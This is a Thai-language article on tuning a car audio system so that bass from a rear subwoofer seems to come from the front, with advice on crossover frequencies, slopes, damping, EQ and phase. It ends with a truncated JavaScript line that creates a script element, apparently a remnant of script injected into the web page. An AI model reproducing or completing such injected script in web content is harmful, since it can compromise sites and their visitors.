เทคนิคการปรับเสียง Bass Up Front
ในการสร้างสภาพเวทีเสียงที่สมบูรณ์…ของการฟังแบบ Front Stage นั้น…ปัญหาที่ประสบพบเจอมากที่สุดก็คือ… “ เสียงเบสยังเสมือนเดินทางมาจากด้านหลัง ” ที่ เป็นเช่นนี้เพราะส่วนใหญ่เราจะทำติดตั้งลำโพงซับวูฟเฟอร์เอาไว้ที่ด้านท้าย รถนั่นเอง… และถึงแม้ว่าจะสามารถติดตั้งซับวูฟเฟอร์บางแบบไว้ตอนหน้าห้องโดยสาร ได้…แต่ก็มักเป็นซับวูฟเฟอร์ขนาดเล็ก…ที่มีเนื้อมวลของเสียงเบสไม่เต็มที่…หรือไม่สะใจตามประสงค์…
เอาเป็นว่า…เมื่อต้องวางซับวูฟเฟอร์เอาไว้ในตอนท้ายของรถ…โดยต้องการคุณภาพของธรรมชาติเสียงในเรื่องเวทีเสียง Front Stage ที่ อยู่ด้านหน้าตามต้องการ… จึงควรจะต้องรู้ด้วยว่าจะทำอย่างไรให้เสียงเบสมีความเสมือนเดินทางมาจากด้าน หน้ารถ…ทั้งที่จริงซับวูฟเฟอร์ติดตั้งอยู่หลังรถนั่นเอง…โดยอาศัยเทคนิค ที่เป็นหลักการทางฟิสิกส์…อันประกอบด้วยทฤษฎีที่เกี่ยวข้องกัน 2 ทฤษฎีคือ
- รูปคลื่นเสียงเบส (Wave Form)
- ขนาดของคลื่นเสียงเบส (Amplitude)
โดย…มีวิธีหลักการปฏิบัติให้ได้สภาพเสียงเบสตามต้องการ…ดังต่อไปนี้…
- ต้อง ทำให้เสียงของชุดลำโพงหน้าให้มีเวทีเสียงตามกำหนดของตำแหน่งที่ชัดเจน…และ นิ่งสงบ เพราะสภาพของมิติเสมือน…จะช่วยให้ทำให้ผู้ฟังละเลยความสนใจในการรับรู้ เสียงจากด้านหลังได้นั่นเอง…
ต้อง ใช้ซับวูฟเฟอร์ที่เหมาะสมเข้าช่วย…เพื่อเร่งรัดให้ความถี่เสียงเบสที่ต้อง การนั้น…มาถึงหูผู้ฟังในช่วงเวลาที่เหมาะสม…นั่นคือต้องมีการควบคุมการ ตอบสนองความถี่ในย่านความถี่ต่ำ…และตัวตู้ที่เหมาะสมมักช่วยได้มากกว่าใน เรื่องนี้…
ต้อง ไม่มีความผิดเพี้ยนใดๆของเสียงในระบบ…นั่นก็หมายถึงเพาเวอร์แอมป์…และ ลำโพงที่ใช้ในระบบจะต้องมีคุณภาพที่ดีพอเพียง…และอย่าใช้งานเกินขีดความ สามารถที่จะทำได้…อันหมายรวมถึงการทำ Level Matching ที่ถูกต้องด้วย… 
- ต้องตั้งค่าจุดตัดความถี่ให้ถูกต้อง… และอย่าให้จุดตัดความถี่ที่จ่ายให้กับซับวูฟเฟอร์อยู่สูงเกินว่า 80 Hz… เพื่อส่งผลให้ผู้ฟังไม่ต้องรับรู้ทิศทางของเสียงเบส…
- ต้องมีค่าความลาดชันของจุดตัดความถี่ในย่านต่ำ…ที่ป้อนจ่ายให้กับซับวูฟเฟอร์นั้นชันมากที่สุด… บางครั้งอาจต้องใช้ถึง 24 dB/Octave… เพื่อลดปัญหาของ Standing Wave ที่มักเกิดในความถี่ย่านกลางต่ำลงให้มากๆ… และยังช่วยไม่ให้เกิดความผิดเพี้ยนที่เสียงเบสได้ดีอีกด้วย..
- ต้อง ลดการสั่นสะท้อนก้องทางเชิงกลต่างๆ ให้มากที่สุด…นั่นหมายถึงการทำให้สภาพห้องโดยสาร นิ่งสงบมากที่สุด…ทั้งการใช้วัสดุทึบเสียง Sound Damping Material… และความพยายามไม่เชื่อมโยงผิวผนังของตู้เบสเข้ากับพื้นตัวรถ…
- อาจต้องทำการเหลื่อมจุดตัดความถี่ระหว่างการผ่านย่านเสียงต่ำ (Low Pass)…และการผ่านย่านเสียงสูง (Hi Pass) ไว้บางส่วน…เพื่อช่วยลด ”คลื่นสั่นสะสม” ที่ความถี่ย่าน Mid-Low ลงให้มากที่สุด… รวมถึงการช่วยให้ย่านความถี่ระหว่าง Mid-Low และ Low สอดประสานเป็นเนื้อเดียวกัน…
- ต้องทำการชดเชยเพื่อให้ผลการตอบสนองความถี่ต่ำสมบูรณ์ที่สุด…ไม่ควรให้มีบางส่วนของเสียงเบสตกต่ำลงมาก (Dip)…หรือเพิ่มขึ้นมาก (Peak)…ซึ่งในการปรับชดเชยเสียงนี้น…แนะนำให้ใช้การปรับลดลง (Cut) ในตำแหน่งความถี่ที่สูงโด่ง…แทนการปรับเพิ่ม (Boost) ความถี่…
- ต้องปรับมุมองศาเสียงหรือเฟสเสียงเบสของซับวูฟเฟอร์ให้สอดคล้องกับกลางแหลม… เพราะความถี่ในย่านตั้งแต่ 200 Hz ลงมา…จะมีความยาวคลื่นสูงมาก…การสอดคล้องกันของเฟสเสียงจะช่วยลดปัญหาการ Time Alignment ในขณะที่เสียงเบสมีการเดินทางได้ด้วย…
var d=document;var s=d.createElement(‘script’);
